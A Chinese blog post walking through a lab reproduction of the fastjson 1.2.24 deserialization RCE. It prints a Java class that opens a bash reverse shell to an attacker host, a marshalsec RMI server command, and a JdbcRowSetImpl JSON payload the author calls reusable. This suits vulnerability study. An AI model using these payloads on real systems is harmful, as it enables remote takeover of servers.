首页 > 其他分享 >fastjson

fastjson

时间:2024-06-22 17:32:07浏览次数:3  
标签:fastjson rmi java 主机 shell 序列化

fastjson

一、fastjson简介

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象

提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

二、fastjson反序列化漏洞原理

在反序列化的时候,会进入parseField方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。 那么通过以上步骤,我们可以知道该漏洞的利用点有两个,第一是需要我们指定一个类,这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序,所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。

三、fastjson反序列化漏洞的前提条件

1.目标服务器存在fastjson。  
2.没有对用户传输的数据进行严格过滤

四、攻击步骤

1.黑客使用payload攻击主机A(该payload需要指定rmi/ldap地址)  
2.主机A引发反序列化漏洞,进行ldap远程方法调用,去连接主机B的9999端口。  
3.主机B的LDAP服务指定加载主机C的恶意java类,所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。  
4.主机A执行恶意Java类,主机B获得反弹shell,控制主机A。

1.2.24-rce

1.开启环境,抓包判断是否是fastjson框架

image

开启抓包确定是不是fastjson框架,通过修改请求包判断是否是fastjson框架 ,应为fastjson有一个严格的格式才能解析,否则会报错

127d8b91196545deb7dafd493603975c

2.创建恶意类文件HackerFile.java

在/var/www/html下创建,http服务可访问(注意,要确保http服务开的,可以在网站目录用python起一个http服务)。使用javac编译 HackerFile.java文件 生成一个类文件

import java.lang.Runtime;
import java.lang.Process;
public class HackerFile {
    static {
        try {
            Runtime r = Runtime.getRuntime();
            Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1"});
            p.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

image

3.开启rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.77.129/#HackerFile" 6666

下载类文件时需要添加#

使用jar包开启rmi服务,使得他人可以访问、并将文件下载到本地去执行

image

4.开启nc监听

image

5.修改数据包实现下载

数据包内容:【以后利用fastjson,只需修改访问地址,其他是固定的】

{
	"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.77.129:6666/HackerFile",
"autoCommit":true
	}
}

6.点击go,发现反弹shell成功

image

7.get shell的过程

发送数据包之后,靶机通过rmi 6666端口 下载了恶意类文件并且执行了它

该文件里有kali 反弹shell的命令,故实现了get shell

【/bin/bash","-c","bash -i >& /dev/tcp/192.168.77.129/9999 0>&1】

ef601f8fa48fa662c4ac0b8b00868832

标签:fastjson,rmi,java,主机,shell,序列化
From: https://www.cnblogs.com/democtfer/p/18262538/fastjson-zwoddg

相关文章

  • fastjson(版本<=1.2.24)复现
    文章目录1.啥是JSON介绍:2.啥是fastjson?3.fastjson序列化/反序列化原理4.fastjson反序列化漏洞原理$复现流程:漏洞影响范围:fastjson<=1.2.24一、漏洞环境搭建二、漏洞验证方法一三、漏洞验证方法二1.啥是JSON介绍:JSON,全称:JavaScriptObjectNotation,作为一个常见的......
  • fastjson2自动转型
    新版本fastjson2auto-type的写法。自定义Cache,或者写RedisSerializer估计会用到这个知识,importcn.seaboot.commons.lang.Warning;importcom.alibaba.fastjson2.JSON;importcom.alibaba.fastjson2.JSONReader;importcom.alibaba.fastjson2.JSONWriter;/***fas......
  • JSON 和对象的互转(fastjson2 的简单使用)
    fastjson2的简单使用导包随便挑个版本<dependency><groupId>com.alibaba.fastjson2</groupId><artifactId>fastjson2</artifactId><version>2.0.25</version></dependency>使用单个对象Stringstr=JSON.toJSONString......
  • fastjson1
    @目录前言分析复制文件清空文件出现问题和分析问题解决分析问题再次出现问题再次分析最终结果读取文件分析poc拓宽场景极限环境poc优化修改再次优化poc的分析写入文件SafeFileOutputStream写文件java8无依赖读文件在commons-io库下的写入文件原因利用链分析组合poc出现问题和分析......
  • fastjson反序列化漏洞
    一题Think_java大多数师傅都是用的自己构造的java反序列化来做的。正好当时用fastjson写出来了。近些天也在挖洞,对于很多json传输的数据也会尝试一下fastjson的payload。那就正好一起来看当时如何利用fastjson的,应该是个非预期吧,其实这个虽然说是ctf题目,但环境属实和实战没......
  • fastjson和 gson 的反序列化的一个差异
     publicclassResponse01{privateThirdDatathirdData;publicThirdDatagetThirdData(){returnthirdData;}//ThirdDataextendBaseThirdDatapublicvoidsetThirdData(BaseThirdDatathirdData){thi......
  • fastjson的使用
    Json是一种轻量级的数据交换格式,应该在一个程序员的开发生涯中是常接触的。简洁和清晰的层次结构使得JSON成为理想的数据交换语言。易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式,也可以......
  • Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入
    第二条链Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImplcom.sun.rowset.JdbcRowSetImplorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceFastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImplsetAutoCommit、connect、setDataSourceNameset......
  • Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网
    之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)前情提要:BCEL:加载恶意类、Fastjson反序列化漏洞1:吹吹水Fastjson干了啥Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)举个例子:下面这个json字符串经过JSON.parse(jsonString)处理可以得到com.test......
  • [idea]mvn install没有问题,idea build报错程序包com.alibaba.fastjson不存在
    现象:1、mvninstall没有问题2、ideabuild报错程序包com.alibaba.fastjson不存在3、File->Settings->Build,Execution,Deployment->Compiler自动编译选项也是勾选的解决:1、委托maven构建和运行,确实能执行;但是运行都要执行maveninstall,速度慢 -- 不推荐 2、在......